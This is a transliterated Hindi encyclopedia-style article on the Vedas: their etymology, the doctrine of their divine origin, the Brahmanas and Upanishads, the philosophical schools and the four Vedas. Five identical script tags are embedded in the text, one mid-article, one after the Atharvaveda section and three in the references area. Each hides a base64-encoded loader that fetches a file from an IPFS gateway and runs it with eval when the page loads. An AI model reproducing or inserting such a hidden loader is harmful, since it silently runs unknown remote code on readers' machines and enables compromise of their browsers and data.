वेद

thumb|250px

"vidh" ka arth hai: janana, jnan ityadi ved shabd sanskrit bhasha ke "vidh" dhatu se bana hai . 'ved' hindoo dharm ke prachin pavitr granthoan ka nam hai, isase vaidik sanskriti prachalit huee . aisi manyata hai ki inake mantroan ko parameshvar ne prachin rrishiyoan ko apratyaksh roop se sunaya tha . isalie vedoan ko shruti bhi kaha jata hai . ved prachin bharat ke vaidik kal ki vachik parampara ki anupam kriti hai jo pidhi dar pidhi pichhale char-paanch hazar varshoan se chali a rahi hai . ved hi hindoo dharm ke sarvochch aur sarvopari dharmagranth haian . ved ke asal mantr bhag ko sanhita kahate haian .

vedavadmay-parichay evan apaurusheyavad

'sanatan dharm' evan 'bharatiy sanskriti' ka mool adhar stambh vishv ka ati prachin aur sarvapratham vadmay 'ved' mana gaya hai. manav jati ke laukik (saansarik) tatha paramarthik abhyuday-hetu prakaty hone se ved ko anadi evan nity kaha gaya hai. ati prachinakalin maha tapa, punyapunj rrishiyoan ke pavitratam ant:karan mean ved ke darshan hue the, at: usaka 'ved' nam prapt hua. brahm ka svaroop 'sat-chit-anand' hone se brahm ko ved ka paryayavachi shabd kaha gaya hai. isiliye ved laukik evan alaukik jnan ka sadhan hai. 'tene brahm hrida y adikavaye0'- tatpary yah ki kalp ke prarambh mean adi kavi brahma ke hriday mean ved ka prakaty hua.

• suprasiddh vedabhashyakar mahan pandit sayanachary apane vedabhashy mean likhate haian ki 'ishtapraptyanishtapariharayoralaukikamupayan yo grantho vedayati s ved:'
• nirookt kahata hai ki 'vidanti jananti vidyante bhavanti0'
• 'aryavidya-sudhakar' namak granth mean kaha gaya hai ki— vedo nam vedyante jnapyante dharmarthakamamoksha aneneti vyutpattya chaturvargajnanasadhanabhooto granthavishesh:॥
• 'kamandakiy niti' bhi kahati hai- 'atmanamanvichchh0.' 'yastan ved s vedavith॥' kahane ka tatpary yah hai ki atmajnan ka hi paryay ved hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• shruti bhagavati batalati hai ki 'ananta vai veda:॥' ved ka arth hai jnan. jnan anant hai, at: ved bhi anant haian. tathapi mundakopanishad ki manyata hai ki ved char haian- 'rrigvedo yajurved: samavedo atharvaved:॥'in vedoan ke char upaved is prakar haian—

ayurvedo dhanurvedo gandharvashrcheti te tray:.
sthapatyavedamaparamupavedashrchaturvidh:॥
upavedoan ke kartaoan mean

1. ayurved ke karta dhanvantari,
2. dhanurved ke karta vishvamitr,
3. gandharvaved ke karta narad muni aur
4. sthapatyaved ke karta vishvakarma haian.

manusmriti mean ved hi shruti

manusmriti kahati hai- 'shrutistu vedo vijney:' 'adisrishtimarabhyadyaparyantan brahmadibhi: sarva: satyavidya: shrooyante sa shruti:॥' vedakalin mahatapa satpurushoan ne samadhi mean jo mahajnan prapt kiya aur jise jagat ke adhyatmik abhyuday ke liye prakat bhi kiya, us mahajnan ko 'shruti' kahate haian.

• shruti ke do vibhag haian-

1. vaidik aur
2. tantrik- 'shrutishch dvividha vaidiki tantriki ch.'

• mukhy tantr tin mane gaye haian-

1. mahanirvan-tantr,
2. naradapancharatr-tantr aur
3. kularnav-tantr.

• ved ke bhi do vibhag haian-

1. mantr vibhag aur
2. brahman vibhag- 'vedo hi mantrabrahmanabheden dvividh:.'

• • ved ke mantr vibhag ko sanhita bhi kahate haian. sanhitaparak vivechan ko 'aranyak' evan sanhitaparak bhashy ko 'brahmanagranth' kahate haian. vedoan ke brahmanavibhag mean' aranyak' aur 'upanishad'- ka bhi samavesh hai. brahmanavibhag mean 'aranyak' aur 'upanishad'- ka bhi samavesh hai. brahmanagranthoan ki sankhya 13 hai, jaise rrigved ke 2, yajurved ke 2, samaved ke 8 aur atharvaved ke 1 .
  • mukhy brahmanagranth paanch haian-

[[chitr:Rigveda.jpg|thumb|250px|rrigved ka avaran prishth]]

1. aitarey brahman,
2. taittiriy brahman,
3. talavakar brahman,
4. shatapath brahman aur
5. tanday brahman.

• upanishadoan ki sankhya vaise to 108 haian, parantu mukhy 12 mane gaye haian, jaise-

1. eesh,
2. ken,
3. kath,
4. prashn,
5. mundak,
6. mandooky,
7. taittiriy,
8. aitarey,
9. chhandogy,
10. brihadaranyak,
11. kaushitaki aur
12. shvetashvatar.

ved eeshvariy ya manavanirmit

• ved paurushey (manavanirmit) hai ya apaurushey (eeshvarapranit). ved ka svaroop kya hai? is mahattvapoorn prashn ka spasht uttar rrigved mean is prakar hai-'ved' parameshvar ke mukh se nikala hua 'paravak' hai, vah 'anadi' evan 'nity' kaha gaya hai. vah apaurushey hi hai.

• is vishay mean manusmriti kahati hai ki ati prachin kal ke rrishiyoan ne utkat tapasya dvara apane tap:poot hriday mean 'paravak' vedavadmay ka sakshatkar kiya tha, at: ve mantradrashta rrishi kahalaye-'rrishayo mantradrashtar:.'
• brihadaranyakopanishad mean ullekh hai- 'asy mahato bhootasy nishvasitametadyadrigvedo yajurved: samavedoatharvagdiras.' arthat un mahan parameshvar ke dvara (srishti- prakaty hone ke sath hi)–rrigved, yajurved, samaved aur atharvaved ni:shvas ki tarah sahaj hi bahar prakat hue. tatpary yah hai ki paramatma ka ni:shvas hi ved hai. isake vishay mean ved ke mahapandit sayanachary apane ved bhashy mean likhate haian-

yasy ni:shvasitan veda yo vedebhyoakhilan jagath.
nirmame tamahan vande vidyatirthan maheshvaramh॥
thumb|250px|left|vaidik paranpara saraansh yah ki ved parameshvar ka ni:shvas hai, at: parameshvar dvara hi nirmit hai. ved se hi samast jagat ka nirman hua hai. isiliye ved ko apaurushey kaha gaya hai. sayanachary ke in vicharoan ka samarthan pashchaty ved vidvan pro0 vilsan, pro0 maiksamoolar adi ne apane pustakoan mean kiya hai.

• pro0 vilsan likhate haian ki 'sayanachary ka ved vishayak jnan ati vishal aur ati gahan hai, jisaki samakakshata ka dava koee bhi yooropiy vidvan nahian kar sakata.'
• pro0 maiksamoolar likhate haian ki 'yadi mujhe sayanacharyarahit brihad vedabhashy padhane ko nahian milata to maian vedarthoan ke durbhedy qila mean pravesh hi nahian pa saka hota.' isi prakar pashchatty ved vidvan vebar, benaphi, rath, gramsan, ludavig, griphith, kith tatha viantaranitj adi ne sayanachary ke ved vicharoan ka hi pratipadan kiya hai.
• nirooktakar 'yaskachary' bhashashastr ke adyapandit mane gaye haian. unhoanne apane mahagranth vedabhashy mean spasht likha hai ki 'ved anadi, nity evan apaurushey (eeshvarapranit)hi hai.' unaka kahana hai ki 'ved ka arth samajhe bina keval vedapath karana pashu ki tarah pith par bojha dhona hi hai; kyoanki arthajnanarahit shabd (mantr) prakash (jnan) nahian de sakata. jise ved-mantroan ka arth-jnan hua hai, usi ka laukik evan paralaukik kalyan hota hai.' aise vedarth jnan ka marg darshak nirookt hai.
• jarmani ke ved vidvan pro0 maiksamoolar kahate haian ki 'vishv ka prachinatam vadmay ved hi hai, jo daivik evan adhyatmik vicharoan ko kavyamay bhasha mean adbhut riti se prakat karane vala kalyanapradayak hai. ved paravak hai.' ni:sandeh parameshvar ne hi paravak (vedavani) ka nirman kiya hai- aisa mahabharat mean spasht kaha gaya hai-'anadinidhana vidya vagutsrishta svayambhuva॥' arthat jisamean se sarvajagat utpann hua, aisi anadi ved-vidyaroop divy vani ka nirman jagannirmata ne sarvapratham kiya.

rrishi ved mantroan ke karta nahian apitu drashta hi the- 'rrishayo mantradrashtar:.' nirooktakar ne bhi kaha hai- ved mantroan ke sakshatkar hone par sakshatkari ko rrishi kaha jata hai- 'rrishirdarshanath.' isase spasht hota hai ki ved ka kartritv any kisi ke pas nahian hone se ved eeshvarapranit hi hai, apaurushey hi hai.

• bharatiy darshan shastr ke matanusar shabd ko nity kaha gaya hai. ved ne shabd ko nity mana hai, at: ved apaurushey hai yah nishchit hota hai. nirooktakar kahate haian ki 'niyatanupoorvya niyatavacho yuktay:.' arthat shabd nity hai, usaka anukram nity hai aur usaki uchcharan-paddhati bhi nity hai, isiliye ved ke arth nity haian. aisi vedavani ka nirman svayan parameshvar ne hi kiya hai.

shabd ki char avasthaean mani gayi haian- [[chitr:Yajurveda.jpg|thumb|250px|yajurved ka avaran prishth]]

1. para,
2. pashyanti,
3. madhyama aur
4. vaikhari. rrigved- mean inake vishay mean is prakar kaha gaya hai-

chatvari vakh parimita padani tani vidurbrahmana ye manishin:.
guha trini nihita negdayanti turiyan vacho manushy vadanti॥
arthat vani ke char roop hone se unhean brahmajnani hi janate haian. vani ke tin roop gupt haian, chautha roop shabdamay ved ke roop mean logoan mean pracharit hota hai.

• sookshmatisookshm-jnan ko paravak kahate haian. use hi ved kaha gaya hai. is vedavani ka sakshatkar maha tapasvi rrishiyoan ko hone se ise 'pashyantivak' kahate haian. jnanasvaroop ved ka avishkar shabdamay hai. is vani ka sthool svaroop hi 'madhyamavak' hai. vedavani ke ye tinoan svaroop atyant rahasyamay haian. chauthi 'vaikharivak' hi samany logoan ki bolachal ki hai. shatapath brahman tatha mandookyopanishad mean kaha gaya hai ki ved mantr ke pratyek pad mean, shabd ke pratyek akshar mean ek prakar ka adbhut samarthy bhara hua hai. is prakar ki ved vani svayan parameshvar dvara hi nirmit hai, yah ni:shank hai.
• shiv puran mean aya hai ki Om ke 'a' kar, 'u' kar, 'm' kar aur sookshmanad; inamean se

1. rrigved,
2. yajurved,
3. samaved tatha
4. atharvaved ni:srit hue. samast vadmay oankar (Om)- se hi nirmit hua. 'oankaran biandusanyuktamh' to eeshvararoop hi hai.

• shrimadh bhagavadgita mean bhi aisa hi ullekh hai- mayi sarvamidan protan sootre manigana iv॥
• shrimadbhagavat mean to spasht kaha gaya hai- vedapranihito dharmo hyadharmastadviparyay:. vedo narayan: sakshath svayambhooriti shushrum॥arthat ved bhagavan ne jin karyoan ko karane ki ajna di hai vah dharm hai aur usase viparit karana adharm hai. ved narayan roop mean svayan prakat hua hai, aisa shruti mean kaha gaya hai.
• shrimadbhagavat mean aisa bhi varnit hai- vipra gavashch vedashch tap: satyan dam: sham:. shraddha daya titiksha ch kratavashch harestanoo:॥ arthat vedajn (sadachari bhi) brahman, dudharoo gay, ved, tap, saty, dam, sham, shraddha, daya, sahanashilata aur yajn- ye shrihari (parameshvar) ke svaroop haian.
• manusmriti ved ko dharm ka mool batate hue kahati hai- vedoakhilo dharmamoolan smritishile ch tadvidamh. acharashchaiv sadhoonamatmanastushtirev ch ॥arthat samagr ved evan vedajn manu, parashar, yajnavalky adi- ki smriti, shil, achar, sadhu (dharmik)- ke atma ka santosh-ye sabhi dharmoan ke mool haian.
• yajnavalkyasmriti mean bhi kaha gaya hai- shruti: smriti: sadachar: svasy ch priyamatman:. smyaksankalpaj: kamo dharmamoolamidan smritamh॥arthat shruti, smriti, satpurushoan ka achar, apane atma ki priti aur uttam sankalp se hua (dharmavirooddh) kam- ye paanch dharm ke mool haian. isiliye bharatiy sanskriti mean ved sarvashreshth sthan par hai. ved ka pramany trikalabadhit hai.

thumb|250px|left|ved path

darshanashastr ke anusar

• bharatiy astik darshanashastr ke mat mean shabd ke nity hone se usaka arth ke sath svayambhoo-jaisa sambandh hota hai. ved mean shabd ko nity samajhane par ved ko apaurushey (eeshvarapranit) mana gaya hai. nirooktakar bhi isaka pratipadan karate haian. astik darshan ne shabd ko sarvashreshth praman many kiya hai. is vishay mean mimaansa- darshan tatha nyay-darshan ke mat bhinn-bhinn haian. jaiminiy mimaansak, kumaril adi mimaansak, adhunik mimaansak tatha saankhyavadiyoan ke mat mean ved apaurushey, nity evan svat:praman haian. mimaansak ved ko svayambhoo manate haian. unaka kahana hai ki ved ki nirmiti ka prayatn kisi vyakti-vishesh ka athava eeshvar ka nahian hai. naiyayik aisa samajhate haian ki ved to eeshvaraprokt hai. mimaansak kahate haian ki bhram, pramad, duragrah ityadi doshayukt hone ke karan manushy ke dvara ved-jaise nirdosh mahan grantharatn ki rachana shaky hi nahian hai. at: ved apaurushey hi hai. isase age jakar naiyayik aisa pratipadan karate haian ki eeshvar ne jaise srishti ki, vaise hi ved ka nirman kiya; aisa manana uchit hi hai.
• shruti ke matanusar ved to mahabhootoan ka ni:shvas (yasy ni:shvatisan veda...) hai. shvas-prashvas svat: avirbhoot hote haian, at: unake liye manushy ke prayatn ki athava buddhi ki apeksha nahian hoti. us mahabhoot ka ni:shvasaroop ved to adrishtavashat abuddhipoorvak svayan avirbhoot hota hai.
• ved nity-shabd ki sanhriti hone se nity hai aur kisi bhi prakar se utpady nahian hai; at: svat: avirbhoot ved kisi bhi purush se racha hua n hone ke karan apaurushey (eeshvarapranit) siddh hota hai. in sabhi vicharoan ko darshan shastr mean apaurusheyavad kaha gaya hai.
• avaidik darshan ko nastik darshan bhi kahate haian, kyoanki vah ved ko praman nahian manata, apaurushey svikar nahian karata. usaka kahana hai ki ihalok (jagat) hi atma ka kridasthal hai, paralok (svarg) nam ki koee vastu nahian hai, 'kam evaik: purusharth:'- kam hi manav-jivan ka ekamatr purusharth hota hai, 'maranamevapavarg:'- maran (mrityu) mane hi moksh (mukti) hai, 'pratyakshamev pramanamh'- jo pratyaksh hai vahi praman hai (anuman praman nahian hai). dharm hi nahian hai, at: adharm nahian hai; svarg-narak nahian haian. 'n parameshvaroapi kashchith'- parameshvar –jaisa bhi koee nahian hai, 'n dharm: n moksh:'- n to dharm hai n moksh hai. at: jab tak sharir mean pran hai, tab tak sukh prapt karate haian- is vishay mean nastik charvak-darshan spasht kahata hai-

yavajjivan sukhan jivedrinan kritva ghritan pibeth.
bhasmibhootasy dehasy punaragamanan kut:॥

• charvak-darshan shabd mean 'charv' ka arth hai-khana. is 'charv' pad se hi 'khane-pine aur mauj' karane ka sandesh dene vale is darshan ka nam 'charvak-darshan' p da hai. 'gunaratn' ne isaki vyakhya is prakar se ki hai- parameshvar, ved, puny-pap, svarg-narak, atma, mukti ityadi ka jisane 'charvan' (namashesh) kar diya hai, vah 'charvak-darshan' hai. is mat ke logoan ka lakshy svamatasthapan ki apeksha paramatakhandan ke prati adhik rahane se unako 'vaitandik' kaha gaya hai. ve log vedapramany manate hi nahian.

1. jagat,
2. jiv,
3. eeshvar aur
4. moksh- ye hi char pramukh pratipady vishay sabhi darshanoan ke hote haian.

• achary shriharibhadr ne 'shaddarshan-samuchchay' nam ka apane granth mean

1. nyay,
2. vaisheshik,
3. saankhy,
4. yog,
5. mimaansa aur
6. vedant- in chh: ko vaidik darshan (astik-darshan) tatha
7. charvak,
8. bauddh aur
9. jain-in tin ko 'avaidik darshan' (nastik-darshan) kaha hai aur un sab par vistrit vichar prastut kiya hai. ved ko praman manane vale astik aur n manane vale nastik haian, is drishti se uparyukt nyay-vaisheshikadi shaddarshan ko astik aur charvakadi darshan ko nastik kaha gaya hai.

[[chitr:Atharvaveda.jpg|thumb|250px|atharvaved ka avaran prishth]]

darshanashastr ka mool mantr

darshanashastr ka mool mantr hai- 'atmanan viddhi.' arthat atma ko jano. pind-brahmand mean otaprot hua ekamev atm-tattv ka darshan (sakshatkar) kar lena hi manav jivan ka antim sadhy hai, aisa ved kahata hai. isake liye tin upay haian- vedamantroan ka shravan, manan aur nididhyasan- shrotavy: shrutivakyebhyo mantavyashchopapattibhi:. matya tu satatan dhyey ete darshanahetave॥ isiliye to manishi log kahate haian- 'yastan ved s vedavith.' arthat aise atmatattv ko jo sadachari vyakti janata hai, vah vedajn (ved ko janane vala) hai.

ved ke prakar

• rrigved :vedoan mean sarvapratham rrigved ka nirman hua . yah padyatmak hai . yajurved gadyamay hai aur samaved gitatmak hai. rrigved mean mandal 10 haian,1028 sookt haian aur 11 hazar mantr haian . isamean 5 shakhayean haian - shakalp, vaskal, ashvalayan, shaankhayan, mandookayan . rrigved ke dasham mandal mean aushadhi sookt haian. isake praneta arthashastr rrishi hai. isamean aushadhiyoan ki sankhya 125 ke lagabhag nirdisht ki gee hai jo ki 107 sthanoan par payi jati hai. aushadhi mean som ka vishesh varnan hai. rrigved mean chyavanrrishi ko punah yuva karane ka kathanak bhi uddhrit hai aur aushadhiyoan se rogoan ka nash karana bhi samavisht hai . isamean jal chikitsa, vayu chikitsa, saur chikitsa, manas chikitsa evan havan dvara chikitsa ka samavesh hai
• samaved : char vedoan mean samaved ka nam tisare kram mean ata hai. par rrigved ke ek mantr mean rrigved se bhi pahale samaved ka nam ane se kuchh vidvan vedoan ko ek ke bad ek rachana n manakar pratyek ka svatantr rachana manate haian. samaved mean gey chhandoan ki adhikata hai jinaka gan yajnoan ke samay hota tha. 1824 mantroan kean is ved mean 75 mantroan ko chho dakar shesh sab mantr rrigved se hi sankalit haian. is ved ko sangit shastr ka mool mana jata hai. isamean savita, agni aur indr devataoan ka pradhany hai. isamean yajn mean gane ke liye sangitamay mantr haian, yah ved mukhyatah gandharv logo ke liye hota hai . isamean mukhy 3 shakhayean haian, 75 rrichayean haian aur visheshakar sangitashastr ka samavesh kiya gaya hai .
• yajurved : isamean yajn ki asal prakriya ke liye gady mantr haian, yah ved mukhyatah kshatriyo ke liye hota hai . yajurved ke do bhag haian -

1. krishna : vaishampayan rrishi ka sambandh krishna se hai . krishna ki char shakhayean hai.
2. shukl : yajnavalky rrishi ka sambandh shukl se hai . shukl ki do shakhayean haian . isamean 40 adhyay haian . yajurved ke ek mantr mean ‘brihidhanyoan’ ka varnan prapt hota hai . isake alava, divy vaidy evan krishi vijnan ka bhi vishay samahit hai .

• atharvaved : isamean jadoo, chamatkar, arogy, yajn ke liye mantr haian, yah ved mukhyatah vyapariyoan ke liye hota hai . isamean 20 kand haian . atharvaved mean ath khand ate haian jinamean bheshaj ved evan dhatu ved ye do nam spasht prapt haian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

1. REDIRECT saancha:tippanisoochi

sabhar: da. shriyugalakishoraji mishr

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shrutiyaan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>